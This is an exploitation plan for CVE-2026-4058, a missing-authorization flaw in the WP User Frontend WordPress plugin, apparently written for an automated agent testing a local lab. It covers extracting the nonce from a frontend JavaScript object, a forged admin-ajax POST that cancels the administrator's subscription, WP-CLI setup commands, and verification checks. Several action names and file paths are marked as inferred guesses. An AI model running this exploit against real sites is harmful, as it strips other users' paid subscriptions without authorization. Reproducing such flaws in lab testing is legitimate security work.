Exploitation Research Plan: CVE-2026-4058 (WP User Frontend)

1. Vulnerability Summary

The WP User Frontend plugin (versions <= 4.3.2) contains a missing authorization vulnerability in the user_subscription_cancel() function (and its associated AJAX handler). While the plugin implements a nonce check (CSRF protection), it fails to verify if the authenticated user has the permissions to cancel the subscription of the specified user ID. This allows any authenticated user (Subscriber level or higher) to cancel the subscription pack of any other user, including Administrators.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• AJAX Action: wpuf_cancel_subscription (inferred from plugin conventions and function name)
• HTTP Method: POST
• Authentication: Authenticated (Subscriber+)
• Parameters:
  • action: wpuf_cancel_subscription
  • user_id: The ID of the target user (e.g., the Administrator's ID).
  • _wpnonce: A valid WordPress nonce for the action.

3. Code Flow (Inferred from Plugin Architecture)

1. Entry Point: The plugin registers an AJAX action for logged-in users:

   add_action( 'wp_ajax_wpuf_cancel_subscription', [ $this, 'cancel_subscription_handler' ] );
   

2. Handler Logic: The handler (likely in includes/Frontend/Frontend_Account.php or includes/Subscription.php) retrieves the user_id from the request.
3. The Flaw: The handler calls check_ajax_referer( 'wpuf_nonce', '_wpnonce' ) but fails to check:
   • current_user_can( 'manage_options' ) (if an admin is performing the action)
   • OR if get_current_user_id() == $_POST['user_id'] (to ensure users only cancel their own packs).
4. Sink: The logic eventually reaches user_subscription_cancel( $user_id ), which updates the user's meta to mark the subscription as cancelled or deleted.

4. Nonce Acquisition Strategy

The wpuf_nonce is localized for frontend scripts when the WPUF account dashboard or subscription pages are rendered.

1. Shortcode: The [wpuf_account] shortcode is the primary trigger for the account dashboard where cancellation logic resides.
2. Strategy:
   • Create a page with the [wpuf_account] shortcode.
   • Log in as a Subscriber.
   • Navigate to that page.
   • Extract the nonce from the wpuf_frontend JavaScript object.
3. JS Variable: window.wpuf_frontend?.nonce (or window.wpuf_subscription?.nonce).

5. Exploitation Strategy

Step 1: Pre-exploit Setup

1. Identify the Administrator's user ID (usually 1).
2. Ensure the Administrator has an active subscription pack assigned.

Step 2: Nonce Extraction

1. As the Subscriber attacker, navigate to the page containing [wpuf_account].
2. Execute JS via browser_eval:

   window.wpuf_frontend?.nonce || window.wpuf_subscription?.nonce
   

Step 3: Malicious Request

Using the http_request tool, send the following payload:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=wpuf_cancel_subscription&user_id=1&_wpnonce=[EXTRACTED_NONCE]
  

6. Test Data Setup

1. Create Subscription Pack:
   wp post create --post_type=wpuf_subscription --post_title="Pro Pack" --post_status=publish
2. Assign to Admin:
   Identify the pack ID and use wp user meta update 1 _wpuf_subscription_pack [PACK_ID].
3. Create Attacker User:
   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
4. Create Dashboard Page:
   wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[wpuf_account]'

7. Expected Results

• Response: The server should return a success message or a 1 (typical for simple AJAX handlers).
• Impact: The Administrator's subscription metadata in the database will be cleared or modified to a "cancelled" state.

8. Verification Steps

After the attack, check the Administrator's user meta using WP-CLI:

wp user meta get 1 _wpuf_subscription_pack

If the exploit is successful, the value should be empty, deleted, or changed to indicate cancellation. Also, check for the cancellation date meta:

wp user meta get 1 _wpuf_cancel_subscription

9. Alternative Approaches

If wpuf_cancel_subscription is not the correct action name, search the codebase for the string user_subscription_cancel to find exactly which handler calls it:

grep -rn "user_subscription_cancel" includes/

Check if the cancellation is handled via a REST API endpoint instead of AJAX:

• REST Route: wpuf/v1/subscriptions/cancel
• Check: includes/Api/Subscription_Controller.php (if it exists).
• If REST is used, the permission callback permission_check() is likely returning true or not checking ownership of the user_id.